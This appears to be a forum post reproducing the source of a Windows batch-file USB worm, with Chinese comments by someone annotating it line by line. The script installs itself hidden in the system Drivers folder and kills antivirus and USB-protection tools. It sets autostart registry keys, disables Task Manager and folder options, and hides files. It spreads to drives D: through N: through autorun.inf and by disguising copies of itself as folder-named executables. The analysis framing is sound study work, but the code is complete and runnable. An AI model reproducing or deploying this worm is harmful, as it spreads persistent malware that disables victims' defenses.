::事先声明,我并不太会bat的语法,这里凭感觉写点注释,如有问题,请提出,谢谢
@
shift
[url=home.php?mod=space&uid=266048]@
echo
[
/url
] off
if
exist
"%~n0"
(explorer.exe
"%~n0"
&goto a)
::这里应该是判断传入的参数个数
cd
/d
"%~dp0"
if
/i
"%cd%"
==
"%~d0\" (explorer.exe "
%~d0")
:a
set
w=%systemroot%\system32\Drivers
::设置w为上面的路径,后面会使用到
if
not exist %w%\USBInfo.com (attrib -s -h %0&
::复制传入参数的文件到:C:\Windows\system32\Drivers下面,命名为USBInfo.com,并设置属性为隐藏、系统。
if
/i
not
"%cd%"
==
"%w%"
(goto end)
:d
taskkill
/f
/im
usbmon.exe
/im
U盘病毒免疫器.exe
/im
USBCleaner.exe
/im
mmc.exe
/im
regedit.exe
::结束掉下面的进程:usbmon.exe、U盘病毒免疫器.exe、USBCleaner.exe、mmc.exe、regedit.exe
if
not exist
"%userprofile%\「开始」菜单\程序\启动\QQ.com"
(copy %w%\USBInfo.com
"%userprofile%\「开始」菜单\程序\启动\QQ.com"
)
::将病毒文件复制为QQ.com,放到启动项里面,实现开机启动
if
exist %w%\Driver.sys
exit
if
not exist
"%systemroot%\system32\ScreenSave.scr"
(copy
"%w%\USBInfo.com"
"%systemroot%\system32\ScreenSave.scr"
)
::C:\Windows\system32\ScreenSave.scr也是病毒文件
if
not exist
"%w%\USBInfo.sy_"
(call:reg>%w%\USBInfo.sy_)
if
not exist
"%w%\USBstor.vbe"
(call:slp>%w%\USBstor.vbe)
if
not exist
"%w%\USBInfo.vbe"
(call:vbe>%w%\USBInfo.vbe)
if
not exist
"%w%\USBSys.vbe"
(call:slp2>%w%\USBSys.vbe)
::上面这4行代码是将下面对应的函数保存为对应的文件,路径为:C:\Windows\system32\Drivers
goto 1
:end
if
not exist
"%w%\USBStor.vbe"
(call:slp>
"%w%\USBStor.vbe"
)
if
exist
"%w%\Driver.sys"
(del
/a
/f
/q
"%w%\Driver.sys"
)
if
not exist
"%w%\Driver.sys"
(
echo
.Driver>
"%w%\Driver.sys"
&%w%\USBStor.vbe)
if
exist
"%w%\Driver.sys"
(del
/a
/f
/q
"%w%\Driver.sys"
)
if
not exist
"%w%\USBInfo.vbe"
(call:vbe>
"%w%\USBInfo.vbe"
)
"%w%\USBInfo.vbe"
exit
:vbe
echo
.createobject(
"wscript.shell"
).run
"%w%\USBInfo.com"
goto :eof
:slp
echo
.wscript.
sleep
6000
goto :eof
:slp2
echo
.wscript.
sleep
400
goto :eof
:inf
echo
.[AutoRun]
echo
.icon=%systemroot%\system32\shell32.dll,7
echo
.label=本地磁盘
echo
.
open
=
echo
.
echo
.shell\
open
=打开(O)
echo
.shell\
open
\Command=文件夹.exe
echo
.shell\
open
\Default=1
goto :eof
::inf是用来感染的,当打开本地磁盘时,就会调用文件夹.exe
:reg
echo
.Windows Registry Editor Version 5.00
echo
.
echo
.[HKEY_CURRENT_USER\Control Panel\Desktop]
echo
.
"ScreenSaveTimeOut"
=
"60"
echo
.
"SCRNSAVE.EXE"
=
"C:\\WINDOWS\\system32\\ScreenSave.scr"
echo
.
echo
.[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
echo
.
"@"
=
"c:\\windows\\system32\\Drivers\\USBInfo.com"
echo
.
echo
.HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
echo
.
"@"
=
"c:\\windows\\system32\\Drivers\\USBInfo.com"
echo
.
echo
.HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
echo
.
"@"
=
"c:\\windows\\system32\\Drivers\\USBInfo.com"
echo
.
echo
.[HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Policies\System]
echo
.
"DisableTaskmgr"
=dword:00000001
echo
.
echo
.[HKEY_CURRENT_USER\SoftWare\Microsoft\Windows\CurrentVersion\Policies\Explorer]
echo
.
"NoRun"
=dword:00000001
echo
.
"NoFolderOptions"
=dword:00000001
echo
.
echo
.[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
echo
.
"HideFileExt"
=dword:00000001
echo
.
"ShowSuperHidden"
=dword:00000000
echo
.
"Hidden"
=dword:00000000
echo
.
echo
.[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]
echo
.
"Checkedvalue"
=dword:00000000
goto :eof
::reg是注册表相关的操作,添加启动项了、设置隐藏了、禁用任务管理器等等
:1
regedit
/s
%w%\USBInfo.sy_
%w%\USBStor.vbe
cd
\
call:s
d:
call:s
if
exist e:\ (goto e)
goto ff
:e
e:
call:s
:ff
if
exist f:\ (goto f)
goto gg
:f
f:
call:s
:gg
if
exist g:\ (goto g)
goto hh
:g
g:
call:s
:hh
if
exist h:\ (goto h)
goto ii
:h
h:
call:s
:ii
if
exist i:\ (goto i)
goto jj
:i
i:
call:s
:jj
if
exist j:\ (goto j)
goto kk
:j
j:
call:s
:kk
if
exist k:\ (goto k)
goto ll
:k
k:
call:s
:ll
if
exist l:\ (goto l)
goto mm
:l
l:
call:s
:mm
if
exist m:\ (goto m)
goto nn
:m
m:
call:s
:nn
if
exist n:\ (goto n)
goto o
:n
n:
call:s
:o
c:
cd
%w%
goto d
::上面的,对每个磁盘都调用下面的s函数
:s
%w%\USBSys.vbe
if
not exist 文件夹.exe (copy %w%\USBInfo.com 文件夹.exe)
attrib +a +r +s +h 文件夹.exe
::设置属性隐藏
if
exist autorun.inf\ (eCho.y|cacls autorun.inf
/p
everyone:f
rd autorun.inf
/s
/q
&del
/f
/a
/q
autorun.inf)
if
not exist autorun.inf (call:inf>autorun.inf&attrib +a +r +s +h autorun.inf)
if
exist desktop.ini del
/f
/a
/q
desktop.ini
dir
/a
:d
/b
>desktop.ini
for
/f
"usebackq tokens=*"
%%i
in
(desktop.ini)
do
if
not exist
"%%i.exe"
(copy %w%\USBInfo.com
"%%i.exe"
&attrib +s +h
"%%i"
)
del
/f
/a
/q
desktop.ini
attrib +a +r +s +h
"recycler.exe"
attrib +a +r +s +h
"system volume information.exe"